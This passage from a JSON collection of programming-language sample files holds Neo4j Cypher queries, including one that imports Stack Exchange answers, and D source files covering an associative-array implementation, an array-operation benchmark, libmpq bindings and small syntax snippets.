ageDifference:ageDifference,\n       sameGender: sameGender} AS parts,\n     friendsInCommon + sameLocation + ageDifference + sameGender AS score\nORDER BY score DESC\n\n//9. The Daisy!\nCREATE (a:Middle {name:\"\"}) -[:STALK]-> (b:Root {name:\"\"})\nFOREACH (i in RANGE(1,10) | CREATE (a) -[:PETAL]-> (a))\nRETURN a, b\n\n\n\n\n//10. MERGE on dense nodes\n// see http://stackoverflow.com/questions/30930311/how-can-i-optimise-a-neo4j-merge-query-on-a-node-with-many-relationships/30932777#30932777\n\nconvert this\nMATCH (from:Node { id: 0 })\nUNWIND RANGE(1,10000) AS i\nMATCH (to:Node { id: i})\nMERGE (to)<-[:HAS]-(from);\n\nto\n\nMATCH (from:Node { id: 0 })\nUNWIND RANGE(1,100000) AS i\nMATCH (to:Node { id: i})\nWHERE shortestPath((to)<-[:HAS]-(from)) IS NULL\nCREATE (from)-[:HAS]->(to);"
  },
  {
    "path": "samples/Cypher/load_from_json.cypher",
    "content": "WITH \"https://api.stackexchange.com/2.2/questions?pagesize=100&order=desc&sort=creation&tagged=neo4j&site=stackoverflow&filter=!5-i6Zw8Y)4W7vpy91PMYsKM-k9yzEsSC1_Uxlf\" AS url\nCALL apoc.load.json(url,'$.items[?(@.answer_count>0)].answers[*]') YIELD value\nMERGE (a:Answer {id: value.answer_id})\n  ON CREATE SET a.accepted = value.is_accepted,\n                a.shareLink = value.share_link,\n                a.lastActivityDate = value.last_activity_date,\n                a.creationDate = value.creation_date,\n                a.title = value.title,\n                a.score = value.score\nMERGE (q:Question {id: value.question_id})\nMERGE (a)-[rel:POSTED_TO]->(q)\nWITH a as answer, value.owner as value\nMERGE (u:User {userId: value.user_id})\n  ON CREATE SET u.displayName = value.display_name,\n                u.userType = value.user_type,\n                u.reputation = value.reputation,\n                u.userLink = value.link\nMERGE (u)-[rel2:SUBMITTED]->(answer)\nRETURN count(answer)"
  },
  {
    "path": "samples/D/aa.d",
    "content": "/**\n * Implementation of associative arrays.\n *\n * Copyright: Martin Nowak 2015 -.\n * License:   $(LINK2 http://www.boost.org/LICENSE_1_0.txt, Boost License 1.0)\n * Authors:   Martin Nowak\n */\nmodule core.aa;\n\nimport core.memory : GC;\n\nprivate\n{\n    // grow threshold\n    enum GROW_NUM = 4;\n    enum GROW_DEN = 5;\n    // shrink threshold\n    enum SHRINK_NUM = 1;\n    enum SHRINK_DEN = 8;\n    // grow factor\n    enum GROW_FAC = 4;\n    // growing the AA doubles it's size, so the shrink threshold must be\n    // smaller than half the grow threshold to have a hysteresis\n    static assert(GROW_FAC * SHRINK_NUM * GROW_DEN < GROW_NUM * SHRINK_DEN);\n    // initial load factor (for literals), mean of both thresholds\n    enum INIT_NUM = (GROW_DEN * SHRINK_NUM + GROW_NUM * SHRINK_DEN) / 2;\n    enum INIT_DEN = SHRINK_DEN * GROW_DEN;\n\n    // magic hash constants to distinguish empty, deleted, and filled buckets\n    enum HASH_EMPTY = 0;\n    enum HASH_DELETED = 0x1;\n    enum HASH_FILLED_MARK = size_t(1) << 8 * size_t.sizeof - 1;\n}\n\nenum INIT_NUM_BUCKETS = 8;\n\nstruct AA(Key, Val)\n{\n    this(size_t sz)\n    {\n        impl = new Impl(nextpow2(sz));\n    }\n\n    @property bool empty() const pure nothrow @safe @nogc\n    {\n        return !length;\n    }\n\n    @property size_t length() const pure nothrow @safe @nogc\n    {\n        return impl is null ? 0 : impl.length;\n    }\n\n    void opIndexAssign(Val val, in Key key)\n    {\n        // lazily alloc implementation\n        if (impl is null)\n            impl = new Impl(INIT_NUM_BUCKETS);\n\n        // get hash and bucket for key\n        immutable hash = calcHash(key);\n\n        // found a value => assignment\n        if (auto p = impl.findSlotLookup(hash, key))\n        {\n            p.entry.val = val;\n            return;\n        }\n\n        auto p = findSlotInsert(hash);\n        if (p.deleted)\n            --deleted;\n        // check load factor and possibly grow\n        else if (++used * GROW_DEN > dim * GROW_NUM)\n        {\n            grow();\n            p = findSlotInsert(hash);\n            assert(p.empty);\n        }\n\n        // update search cache and allocate entry\n        firstUsed = min(firstUsed, cast(uint)(p - buckets.ptr));\n        p.hash = hash;\n        p.entry = new Impl.Entry(key, val); // TODO: move\n        return;\n    }\n\n    ref inout(Val) opIndex(in Key key) inout @trusted\n    {\n        auto p = opIn_r(key);\n        assert(p !is null);\n        return *p;\n    }\n\n    inout(Val)* opIn_r(in Key key) inout @trusted\n    {\n        if (empty)\n            return null;\n\n        immutable hash = calcHash(key);\n        if (auto p = findSlotLookup(hash, key))\n            return &p.entry.val;\n        return null;\n    }\n\n    bool remove(in Key key)\n    {\n        if (empty)\n            return false;\n\n        immutable hash = calcHash(key);\n        if (auto p = findSlotLookup(hash, key))\n        {\n            // clear entry\n            p.hash = HASH_DELETED;\n            p.entry = null;\n\n            ++deleted;\n            if (length * SHRINK_DEN < dim * SHRINK_NUM)\n                shrink();\n\n            return true;\n        }\n        return false;\n    }\n\n    Val get(in Key key, lazy Val val)\n    {\n        auto p = opIn_r(key);\n        return p is null ? val : *p;\n    }\n\n    ref Val getOrSet(in Key key, lazy Val val)\n    {\n        // lazily alloc implementation\n        if (impl is null)\n            impl = new Impl(INIT_NUM_BUCKETS);\n\n        // get hash and bucket for key\n        immutable hash = calcHash(key);\n\n        // found a value => assignment\n        if (auto p = impl.findSlotLookup(hash, key))\n            return p.entry.val;\n\n        auto p = findSlotInsert(hash);\n        if (p.deleted)\n            --deleted;\n        // check load factor and possibly grow\n        else if (++used * GROW_DEN > dim * GROW_NUM)\n        {\n            grow();\n            p = findSlotInsert(hash);\n            assert(p.empty);\n        }\n\n        // update search cache and allocate entry\n        firstUsed = min(firstUsed, cast(uint)(p - buckets.ptr));\n        p.hash = hash;\n        p.entry = new Impl.Entry(key, val);\n        return p.entry.val;\n    }\n\n    /**\n       Convert the AA to the type of the builtin language AA.\n     */\n    Val[Key] toBuiltinAA() pure nothrow\n    {\n        return cast(Val[Key]) _aaFromCoreAA(impl, rtInterface);\n    }\n\nprivate:\n\n    private this(inout(Impl)* impl) inout\n    {\n        this.impl = impl;\n    }\n\n    ref Val getLValue(in Key key)\n    {\n        // lazily alloc implementation\n        if (impl is null)\n            impl = new Impl(INIT_NUM_BUCKETS);\n\n        // get hash and bucket for key\n        immutable hash = calcHash(key);\n\n        // found a value => assignment\n        if (auto p = impl.findSlotLookup(hash, key))\n            return p.entry.val;\n\n        auto p = findSlotInsert(hash);\n        if (p.deleted)\n            --deleted;\n        // check load factor and possibly grow\n        else if (++used * GROW_DEN > dim * GROW_NUM)\n        {\n            grow();\n            p = findSlotInsert(hash);\n            assert(p.empty);\n        }\n\n        // update search cache and allocate entry\n        firstUsed = min(firstUsed, cast(uint)(p - buckets.ptr));\n        p.hash = hash;\n        p.entry = new Impl.Entry(key); // TODO: move\n        return p.entry.val;\n    }\n\n    static struct Impl\n    {\n        this(size_t sz)\n        {\n            buckets = allocBuckets(sz);\n        }\n\n        @property size_t length() const pure nothrow @nogc\n        {\n            assert(used >= deleted);\n            return used - deleted;\n        }\n\n        @property size_t dim() const pure nothrow @nogc\n        {\n            return buckets.length;\n        }\n\n        @property size_t mask() const pure nothrow @nogc\n        {\n            return dim - 1;\n        }\n\n        // find the first slot to insert a value with hash\n        inout(Bucket)* findSlotInsert(size_t hash) inout pure nothrow @nogc\n        {\n            for (size_t i = hash & mask, j = 1;; ++j)\n            {\n                if (!buckets[i].filled)\n                    return &buckets[i];\n                i = (i + j) & mask;\n            }\n        }\n\n        // lookup a key\n        inout(Bucket)* findSlotLookup(size_t hash, in Key key) inout\n        {\n            for (size_t i = hash & mask, j = 1;; ++j)\n            {\n                if (buckets[i].hash == hash && key == buckets[i].entry.key)\n                    return &buckets[i];\n                else if (buckets[i].empty)\n                    return null;\n                i = (i + j) & mask;\n            }\n        }\n\n        void grow()\n        {\n            // If there are so many deleted entries, that growing would push us\n            // below the shrink threshold, we just purge deleted entries instead.\n            if (length * SHRINK_DEN < GROW_FAC * dim * SHRINK_NUM)\n                resize(dim);\n            else\n                resize(GROW_FAC * dim);\n        }\n\n        void shrink()\n        {\n            if (dim > INIT_NUM_BUCKETS)\n                resize(dim / GROW_FAC);\n        }\n\n        void resize(size_t ndim) pure nothrow\n        {\n            auto obuckets = buckets;\n            buckets = allocBuckets(ndim);\n\n            foreach (ref b; obuckets)\n                if (b.filled)\n                    *findSlotInsert(b.hash) = b;\n\n            firstUsed = 0;\n            used -= deleted;\n            deleted = 0;\n            GC.free(obuckets.ptr); // safe to free b/c impossible to reference\n        }\n\n        static struct Entry\n        {\n            Key key;\n            Val val;\n        }\n\n        static struct Bucket\n        {\n            size_t hash;\n            Entry* entry;\n\n            @property bool empty() const\n            {\n                return hash == HASH_EMPTY;\n            }\n\n            @property bool deleted() const\n            {\n                return hash == HASH_DELETED;\n            }\n\n            @property bool filled() const\n            {\n                return cast(ptrdiff_t) hash < 0;\n            }\n        }\n\n        Bucket[] allocBuckets(size_t dim) @trusted pure nothrow\n        {\n            enum attr = GC.BlkAttr.NO_INTERIOR;\n            immutable sz = dim * Bucket.sizeof;\n            return (cast(Bucket*) GC.calloc(sz, attr))[0 .. dim];\n        }\n\n        Bucket[] buckets;\n        uint used;\n        uint deleted;\n        uint firstUsed;\n    }\n\n    RTInterface* rtInterface()() pure nothrow @nogc\n    {\n        static size_t aaLen(in void* pimpl) pure nothrow @nogc\n        {\n            auto aa = const(AA)(cast(const(Impl)*) pimpl);\n            return aa.length;\n        }\n\n        static void* aaGetY(void** pimpl, in void* pkey)\n        {\n            auto aa = AA(cast(Impl*)*pimpl);\n            auto res = &aa.getLValue(*cast(const(Key*)) pkey);\n            *pimpl = aa.impl; // might have changed\n            return res;\n        }\n\n        static inout(void)* aaInX(inout void* pimpl, in void* pkey)\n        {\n            auto aa = inout(AA)(cast(inout(Impl)*) pimpl);\n            return aa.opIn_r(*cast(const(Key*)) pkey);\n        }\n\n        static bool aaDelX(void* pimpl, in void* pkey)\n        {\n            auto aa = AA(cast(Impl*) pimpl);\n            return aa.remove(*cast(const(Key*)) pkey);\n        }\n\n        static immutable vtbl = RTInterface(&aaLen, &aaGetY, &aaInX, &aaDelX);\n        return cast(RTInterface*)&vtbl;\n    }\n\n    static size_t calcHash(in ref Key key)\n    {\n        return hashOf(key) | HASH_FILLED_MARK;\n    }\n\n    Impl* impl;\n    alias impl this;\n}\n\npackage extern (C) void* _aaFromCoreAA(void* impl, RTInterface* rtIntf) pure nothrow;\n\nprivate:\n\nstruct RTInterface\n{\n    alias AA = void*;\n\n    size_t function(in AA aa) pure nothrow @nogc len;\n    void* function(AA* aa, in void* pkey) getY;\n    inout(void)* function(inout AA aa, in void* pkey) inX;\n    bool function(AA aa, in void* pkey) delX;\n}\n\nunittest\n{\n    AA!(int, int) aa;\n    assert(aa.length == 0);\n    aa[0] = 1;\n    assert(aa.length == 1 && aa[0] == 1);\n    aa[1] = 2;\n    assert(aa.length == 2 && aa[1] == 2);\n    import core.stdc.stdio;\n\n    int[int] rtaa = aa.toBuiltinAA();\n    assert(rtaa.length == 2);\n    puts(\"length\");\n    assert(rtaa[0] == 1);\n    assert(rtaa[1] == 2);\n    rtaa[2] = 3;\n\n    assert(aa[2] == 3);\n}\n\nunittest\n{\n    auto aa = AA!(int, int)(3);\n    aa[0] = 0;\n    aa[1] = 1;\n    aa[2] = 2;\n    assert(aa.length == 3);\n}\n\n//==============================================================================\n// Helper functions\n//------------------------------------------------------------------------------\n\nsize_t nextpow2(in size_t n) pure nothrow @nogc\n{\n    import core.bitop : bsr;\n\n    if (n < 2)\n        return 1;\n    return size_t(1) << bsr(n - 1) + 1;\n}\n\npure nothrow @nogc unittest\n{\n    //                            0, 1, 2, 3, 4, 5, 6, 7, 8,  9\n    foreach (const n, const pow2; [1, 1, 2, 4, 4, 8, 8, 8, 8, 16])\n        assert(nextpow2(n) == pow2);\n}\n\nT min(T)(T a, T b) pure nothrow @nogc\n{\n    return a < b ? a : b;\n}\n\nT max(T)(T a, T b) pure nothrow @nogc\n{\n    return b < a ? a : b;\n}\n"
  },
  {
    "path": "samples/D/arrayops.d",
    "content": "/**\n * Benchmark for array ops.\n *\n * Copyright: Copyright Martin Nowak 2016 -.\n * License:   $(LINK2 http://www.boost.org/LICENSE_1_0.txt, Boost License 1.0)\n * Authors:   Martin Nowak\n */\nimport core.cpuid, std.algorithm, std.datetime, std.meta, std.stdio, std.string,\n    std.range;\n\nfloat[6] getLatencies(T, string op)()\n{\n    enum N = (64 * (1 << 6) + 64) * T.sizeof;\n    auto a = Array!T(N), b = Array!T(N), c = Array!T(N);\n    float[6] latencies = float.max;\n    foreach (i, ref latency; latencies)\n    {\n        auto len = 1 << i;\n        foreach (_; 1 .. 32)\n        {\n            a[] = 24;\n            b[] = 4;\n            c[] = 2;\n            auto sw = StopWatch(AutoStart.yes);\n            foreach (off; size_t(0) .. size_t(64))\n            {\n                off = off * len + off;\n                enum op = op.replace(\"const\", \"2\").replace(\"a\",\n                        \"a[off .. off + len]\").replace(\"b\",\n                        \"b[off .. off + len]\").replace(\"c\", \"c[off .. off + len]\");\n                mixin(op ~ \";\");\n            }\n            latency = min(latency, sw.peek.nsecs);\n        }\n    }\n    float[6] res = latencies[] / 1024;\n    return res;\n}\n\nfloat[4] getThroughput(T, string op)()\n{\n    enum N = (40 * 1024 * 1024 + 64 * T.sizeof) / T.sizeof;\n    auto a = Array!T(N), b = Array!T(N), c = Array!T(N);\n    float[4] latencies = float.max;\n    size_t[4] lengths = [\n        8 * 1024 / T.sizeof, 32 * 1024 / T.sizeof, 512 * 1024 / T.sizeof, 32 * 1024 * 1024 / T\n        .sizeof\n    ];\n    foreach (i, ref latency; latencies)\n    {\n        auto len = lengths[i] / 64;\n        foreach (_; 1 .. 4)\n        {\n            a[] = 24;\n            b[] = 4;\n            c[] = 2;\n            auto sw = StopWatch(AutoStart.yes);\n            foreach (off; size_t(0) .. size_t(64))\n            {\n                off = off * len + off;\n                enum op = op.replace(\"const\", \"2\").replace(\"a\",\n                        \"a[off .. off + len]\").replace(\"b\",\n                        \"b[off .. off + len]\").replace(\"c\", \"c[off .. off + len]\");\n                mixin(op ~ \";\");\n            }\n            immutable nsecs = sw.peek.nsecs;\n            runMasked({latency = min(latency, nsecs);});\n        }\n    }\n    float[4] throughputs = void;\n    runMasked({throughputs = T.sizeof * lengths[] / latencies[];});\n    return throughputs;\n}\n\nstring[] genOps()\n{\n    string[] ops;\n    foreach (op1; [\"+\", \"-\", \"*\", \"/\"])\n    {\n        ops ~= \"a \" ~ op1 ~ \"= b\";\n        ops ~= \"a \" ~ op1 ~ \"= const\";\n        foreach (op2; [\"+\", \"-\", \"*\", \"/\"])\n        {\n            ops ~= \"a \" ~ op1 ~ \"= b \" ~ op2 ~ \" c\";\n            ops ~= \"a \" ~ op1 ~ \"= b \" ~ op2 ~ \" const\";\n        }\n    }\n    return ops;\n}\n\nvoid runOp(string op)()\n{\n    foreach (T; AliasSeq!(ubyte, ushort, uint, ulong, byte, short, int, long, float,\n            double))\n        writefln(\"%s, %s, %(%.2f, %), %(%s, %)\", T.stringof, op,\n            getLatencies!(T, op), getThroughput!(T, op));\n}\n\nstruct Array(T)\n{\n    import core.stdc.stdlib : free, malloc;\n\n    this(size_t n)\n    {\n        ary = (cast(T*) malloc(T.sizeof * n))[0 .. n];\n    }\n\n    ~this()\n    {\n        free(ary.ptr);\n    }\n\n    T[] ary;\n    alias ary this;\n}\n\nversion (X86)\n    version = SSE;\nelse version (X86_64)\n    version = SSE;\nelse\n    static assert(0, \"unimplemented\");\n\nversion (SSE)\n{\n    uint mxcsr()\n    {\n        uint ret = void;\n        asm\n        {\n            stmxcsr ret;\n        }\n        return ret;\n    }\n\n    void mxcsr(uint val)\n    {\n        asm\n        {\n            ldmxcsr val;\n        }\n    }\n\n    // http://softpixel.com/~cwright/programming/simd/sse.php\n    enum FPU_EXCEPTION_MASKS = 1 << 12 | 1 << 11 | 1 << 10 | 1 << 9 | 1 << 8 | 1 << 7;\n    enum FPU_EXCEPTION_FLAGS = 1 << 5 | 1 << 4 | 1 << 3 | 1 << 2 | 1 << 1 | 1 << 0;\n\n    void maskFPUExceptions()\n    {\n        mxcsr = mxcsr | FPU_EXCEPTION_MASKS;\n    }\n\n    void unmaskFPUExceptions()\n    {\n        mxcsr = mxcsr & ~FPU_EXCEPTION_MASKS;\n    }\n\n    uint FPUExceptionFlags()\n    {\n        return mxcsr & FPU_EXCEPTION_FLAGS;\n    }\n\n    void clearFPUExceptionFlags()\n    {\n        mxcsr = mxcsr & ~FPU_EXCEPTION_FLAGS;\n    }\n}\n\nvoid runMasked(scope void delegate() dg)\n{\n    assert(FPUExceptionFlags == 0);\n    maskFPUExceptions;\n    dg();\n    clearFPUExceptionFlags;\n    unmaskFPUExceptions;\n}\n\nvoid main()\n{\n    unmaskFPUExceptions;\n\n    writefln(\"type, op, %(latency%s, %), %-(throughput%s, %)\", iota(6)\n        .map!(i => 1 << i), [\"8KB\", \"32KB\", \"512KB\", \"32MB\"]);\n    foreach (op; mixin(\"AliasSeq!(%(%s, %))\".format(genOps)))\n        runOp!op;\n    maskFPUExceptions;\n}\n"
  },
  {
    "path": "samples/D/function.d",
    "content": "void foo()\n{\n}\n"
  },
  {
    "path": "samples/D/hello_world.d",
    "content": "import std.stdio;\n\nvoid main()\n{\n    writeln(\"Hello World\");\n}\n"
  },
  {
    "path": "samples/D/mpq.d",
    "content": "/*\n *  mpq.d -- D programming language module for libmpq\n *\n *  Copyright (c) 2008 Georg Lukas <georg@op-co.de>\n *\n *  This program is free software; you can redistribute it and/or modify\n *  it under the terms of the GNU General Public License as published by\n *  the Free Software Foundation; either version 2 of the License, or\n *  (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU General Public License for more details.\n *\n *  You should have received a copy of the GNU General Public License\n *  along with this program; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n *\n *  This module is written to support Phobos. Patches to allow binding to\n *  Tango are welcome.\n */\n\nmodule mpq;\n\n/* the following pragma does not work on DMD/Linux, generates a warning on\n * GDC/Linux and has not been tested on Windows. Commented out for now. */\n// pragma(lib, \"libmpq\");\n\nimport std.string; // for format() and toStringz()\nimport std.traits; // for ParameterTypeTuple!()\n\n/* XXX: this assumes that libmpq is compiled with Large File Support on */\nalias long off_t;\n\n/* libmpq error return values */\nconst LIBMPQ_ERROR_OPEN\t\t\t= -1;\t/* open error on file. */\nconst LIBMPQ_ERROR_CLOSE\t\t= -2;\t/* close error on file. */\nconst LIBMPQ_ERROR_SEEK\t\t\t= -3;\t/* lseek error on file. */\nconst LIBMPQ_ERROR_READ\t\t\t= -4;\t/* read error on file. */\nconst LIBMPQ_ERROR_WRITE\t\t= -5;\t/* write error on file. */\nconst LIBMPQ_ERROR_MALLOC\t\t= -6;\t/* memory allocation error. */\nconst LIBMPQ_ERROR_FORMAT\t\t= -7;\t/* format errror. */\nconst LIBMPQ_ERROR_NOT_INITIALIZED\t= -8;\t/* init() wasn't called. */\nconst LIBMPQ_ERROR_SIZE\t\t\t= -9;\t/* buffer size is to small. */\nconst LIBMPQ_ERROR_EXIST\t\t= -10;\t/* file or block does not exist in archive. */\nconst LIBMPQ_ERROR_DECRYPT\t\t= -11;\t/* we don't know the decryption seed. */\nconst LIBMPQ_ERROR_UNPACK\t\t= -12;\t/* error on unpacking file. */\n\n/** libmpq internal meta-data for an archive */\nextern struct mpq_archive_s;\n\nextern(C) {\n\n/* libmpq__generic information about library. */\nchar *libmpq__version();\n\n/* libmpq__generic mpq archive information. */\nint libmpq__archive_open(mpq_archive_s **mpq_archive, char *mpq_filename, off_t archive_offset);\nint libmpq__archive_close(mpq_archive_s *mpq_archive);\nint libmpq__archive_packed_size(mpq_archive_s *mpq_archive, off_t *packed_size);\nint libmpq__archive_unpacked_size(mpq_archive_s *mpq_archive, off_t *unpacked_size);\nint libmpq__archive_offset(mpq_archive_s *mpq_archive, off_t *offset);\nint libmpq__archive_version(mpq_archive_s *mpq_archive, uint *version_);\nint libmpq__archive_files(mpq_archive_s *mpq_archive, uint *files);\n\n/* libmpq__generic file processing functions. */\nint libmpq__file_packed_size(mpq_archive_s *mpq_archive, uint file_number, off_t *packed_size);\nint libmpq__file_unpacked_size(mpq_archive_s *mpq_archive, uint file_number, off_t *unpacked_size);\nint libmpq__file_offset(mpq_archive_s *mpq_archive, uint file_number, off_t *offset);\nint libmpq__file_blocks(mpq_archive_s *mpq_archive, uint file_number, uint *blocks);\nint libmpq__file_encrypted(mpq_archive_s *mpq_archive, uint file_number, uint *encrypted);\nint libmpq__file_compressed(mpq_archive_s *mpq_archive, uint file_number, uint *compressed);\nint libmpq__file_imploded(mpq_archive_s *mpq_archive, uint file_number, uint *imploded);\nint libmpq__file_number(mpq_archive_s *mpq_archive, char *filename, uint *number);\nint libmpq__file_read(mpq_archive_s *mpq_archive, uint file_number, ubyte *out_buf, off_t out_size, off_t *transferred);\n\n/* libmpq__generic block processing functions. */\nint libmpq__block_open_offset(mpq_archive_s *mpq_archive, uint file_number);\nint libmpq__block_close_offset(mpq_archive_s *mpq_archive, uint file_number);\nint libmpq__block_unpacked_size(mpq_archive_s *mpq_archive, uint file_number, uint block_number, off_t *unpacked_size);\nint libmpq__block_read(mpq_archive_s *mpq_archive, uint file_number, uint block_number, ubyte *out_buf, off_t out_size, off_t *transferred);\n\n}\n\n\n/** exception class for failed libmpq calls */\nclass MPQException : Exception {\n\tconst string[] Errors = [\n\t\t\"unknown error\",\n\t\t\"open error on file\",\n\t\t\"close error on file\",\n\t\t\"lseek error on file\",\n\t\t\"read error on file\",\n\t\t\"write error on file\",\n\t\t\"memory allocation error\",\n\t\t\"format errror\",\n\t\t\"init() wasn't called\",\n\t\t\"buffer size is to small\",\n\t\t\"file or block does not exist in archive\",\n\t\t\"we don't know the decryption seed\",\n\t\t\"error on unpacking file\"];\n\n\tpublic int errno;\n\tthis(char[] fnname = \"unknown_function\", int errno = 0) {\n\n\t\tthis.errno = errno;\n\t\tif (-errno >= Errors.length)\n\t\t\terrno = 0;\n\t\tsuper(std.string.format(\"Error in %s(): %s (%d)\",\n\t\t\t\t\tfnname, Errors[-errno], errno));\n\t}\n}\n\n\n/** template to wrap function calls and throw exceptions in case of error\n *\n * thanks for the idea to while(nan) blog,\n * http://while-nan.blogspot.com/2007/06/wrapping-functions-for-fun-and-profit.html\n *\n * use: MPQ_CHECKERR(libmpq__archive_open)(&m, \"foo.mpq\", -1);\n *   returns the retval of archive_open on success;\n *   throws an MPQException on failure.\n *\n * @param Fn libmpq__function reference\n * @param args libmpq__function parameters\n * @return return value of libmpq__function on success\n * @throw MPQException on error\n */\nint MPQ_CHECKERR(alias Fn)(ParameterTypeTuple!(Fn) args)\n{\n\tint result = Fn(args);\n\tif (result < 0) {\n\t\t/* XXX: relying on non-specified stringof() behaviour */\n\t\tthrow new MPQException((&Fn).stringof[2..$], result);\n\t}\n        return result;\n}\n\n\n/** mixin alias to wrap library functions into MPQ_CHECKERR.\n *\n * alias mpq.func_name(...) to MPQ_CHECKERR(libmpq__func_name)(...)\n * @param func_name name of the function to be wrapped\n */\ntemplate MPQ_FUNC(char[] func_name) {\n\tconst char[] MPQ_FUNC = \"alias MPQ_CHECKERR!(libmpq__\" ~ func_name ~ \") \" ~ func_name ~ \";\";\n}\n\nalias libmpq__version libversion; /* must be direct alias because it returns char*, not error int */\nmixin(MPQ_FUNC!(\"archive_open\"));\nmixin(MPQ_FUNC!(\"archive_close\"));\nmixin(MPQ_FUNC!(\"archive_packed_size\"));\nmixin(MPQ_FUNC!(\"archive_unpacked_size\"));\nmixin(MPQ_FUNC!(\"archive_offset\"));\nmixin(MPQ_FUNC!(\"archive_version\"));\nmixin(MPQ_FUNC!(\"archive_files\"));\nmixin(MPQ_FUNC!(\"file_packed_size\"));\nmixin(MPQ_FUNC!(\"file_unpacked_size\"));\nmixin(MPQ_FUNC!(\"file_offset\"));\nmixin(MPQ_FUNC!(\"file_blocks\"));\nmixin(MPQ_FUNC!(\"file_encrypted\"));\nmixin(MPQ_FUNC!(\"file_compressed\"));\nmixin(MPQ_FUNC!(\"file_imploded\"));\nmixin(MPQ_FUNC!(\"file_number\"));\nmixin(MPQ_FUNC!(\"file_read\"));\nmixin(MPQ_FUNC!(\"block_open_offset\"));\nmixin(MPQ_FUNC!(\"block_close_offset\"));\nmixin(MPQ_FUNC!(\"block_unpacked_size\"));\nmixin(MPQ_FUNC!(\"block_read\"));\n\n/** getter function named name for returning archive_* single values:\n *\n *   <type> Archive.<name>() { return libmpq__archive_<name>() }\n *\n * @param type return type for the original function reference\n * @param name name of the original function\n * @param name2 name for the prototype (defaults to name, used for \"version\")\n * @return getter function mixin\n */\ntemplate MPQ_A_GET(char[] type, char[] name, char[] name2 = name) {\n\tconst char[] MPQ_A_GET = type ~ \" \" ~ name2 ~ \"() { \" ~\n\t\t\ttype ~ \" ret; \" ~\n\t\t\t\"archive_\" ~ name ~ \"(m, &ret); return ret;\" ~\n\t\t\"}\";\n}\n\n/** wrapper class for an MPQ Archive\n *\n * syntax: auto a = new mpq.Archive(\"somefile.mpq\");\n */\nclass Archive {\n\tmpq_archive_s *m;\n\tFile listfile;\n\tchar[][] listfiledata;\n\n\tthis(char[] archivename, off_t offset = -1) {\n\t\tarchive_open(&m, toStringz(archivename), offset);\n\t}\n\n\tmixin(MPQ_A_GET!(\"off_t\", \"packed_size\"));\n\tmixin(MPQ_A_GET!(\"off_t\", \"unpacked_size\"));\n\tmixin(MPQ_A_GET!(\"off_t\", \"offset\"));\n\tmixin(MPQ_A_GET!(\"uint\", \"version\", \"version_\"));\n\tmixin(MPQ_A_GET!(\"uint\", \"files\"));\n\n\t~this() {\n\t\tarchive_close(m);\n\t}\n\n\tmpq_archive_s* archive() {\n\t\treturn m;\n\t}\n\n\tFile opIndex(char[] fname) {\n\t\treturn new File(this, fname);\n\t}\n\tFile opIndex(int fno) {\n\t\treturn new File(this, fno);\n\t}\n\n\tchar[][] filelist() {\n\t\ttry {\n\t\t\tif (!listfile) {\n\t\t\t\tlistfile = this[\"(listfile)\"];\n\t\t\t\tlistfiledata = (cast(char[])listfile.read()).splitlines();\n\t\t\t}\n\t\t\treturn listfiledata;\n\t\t} catch (MPQException e) {\n\t\t\treturn [];\n\t\t}\n\t}\n\n\t/+uint filenumber(char[] filename) {\n\t\ttry {\n\t\t\tif (!listfile) {\n\t\t\t\tlistfile = this[\"(listfile)\"];\n\t\t\t\tlistfiledata = (cast(char[])listfile.read()).splitlines();\n\t\t\t}\n\t\t\treturn listfiledata;\n\t\t} catch (MPQException e) {\n\t\t\treturn [];\n\t\t}\n\t}+/\n\n}\n\n\n/** getter function named name for returning file_* single values:\n *\n *   <type> File.<name>() { return libmpq__file_<name>() }\n *\n * @param type return type for the original function reference\n * @param name name of the original function\n * @param name2 name for the prototype (defaults to name, used for \"version\")\n * @return getter function mixin\n */\ntemplate MPQ_F_GET(char[] type, char[] name, char[] name2 = name) {\n\tconst char[] MPQ_F_GET = type ~ \" \" ~ name2 ~ \"() { \" ~\n\t\t\ttype ~ \" ret; \" ~\n\t\t\t\"file_\" ~ name ~ \"(am, fileno, &ret); \" ~\n\t\t\t\"return ret;\" ~\n\t\t\"}\";\n}\n\n/** wrapper class for a single file in an MPQ Archive\n *\n * syntax:\n *    auto a = new mpq.Archive(\"somefile.mpq\");\n *    auto f = a[\"(listfile)\"];\n *    auto f2 = a[0];\n *    auto f3 = new File(a, \"(listfile)\");\n */\nclass File {\n\tArchive a;\n\tmpq_archive_s* am;\n\tchar[] filename;\n\tuint fileno;\n\n\tthis(Archive a, int fileno) {\n\t\tthis.a = a;\n\t\tthis.am = a.archive();\n\t\tif (fileno >= a.files) {\n\t\t\tthrow new MPQException(format(\"File(%d)\", fileno),\n\t\t\t\tLIBMPQ_ERROR_EXIST);\n\t\t}\n\t\tthis.filename = format(\"file%04d.xxx\", fileno);\n\t\tthis.fileno = fileno;\n\t}\n\n\tthis(Archive a, char[] filename) {\n\t\tthis.a = a;\n\t\tthis.am = a.archive();\n\t\tthis.filename = filename;\n\t\t/* this line will throw an exception when the file is not there */\n\t\tmpq.file_number(am, toStringz(filename), &this.fileno);\n\t}\n\n\tmixin(MPQ_F_GET!(\"off_t\", \"packed_size\"));\n\tmixin(MPQ_F_GET!(\"off_t\", \"unpacked_size\"));\n\tmixin(MPQ_F_GET!(\"off_t\", \"offset\"));\n\tmixin(MPQ_F_GET!(\"uint\", \"blocks\"));\n\tmixin(MPQ_F_GET!(\"uint\", \"encrypted\"));\n\tmixin(MPQ_F_GET!(\"uint\", \"compressed\"));\n\tmixin(MPQ_F_GET!(\"uint\", \"imploded\"));\n\n\tuint no() {\treturn fileno; }\n\tchar[] name() {\treturn filename; }\n\n\tubyte[] read() {\n\t\tubyte[] content;\n\t\tcontent.length = this.unpacked_size();\n\t\toff_t trans;\n\t\tmpq.file_read(am, fileno, content.ptr, content.length, &trans);\n\t\tcontent.length = trans;\n\t\treturn content;\n\t}\n}\n"
  },
  {
    "path": "samples/D/template.d",
    "content": "template Fib(size_t N)\n{\n    static if (N < 2)\n        enum Fib = size_t(1);\n    else\n        enum Fib = Fib!(N - 2) + Fib!(N - 1);\n}\n"
  },
  {
    "path": "samples/D/template_function.d",
    "content": "void bar(T)(T t)\n{\n}\n"
  },
  {
    "path": "samples/D/unittest1.d",
    "content": "unittest\n{\n}\n"
  },
  {
    "path": "samples/D/unittest2.d",
    "content": "unittest(\"optional name\")\n{\n}\n"
  },
  {
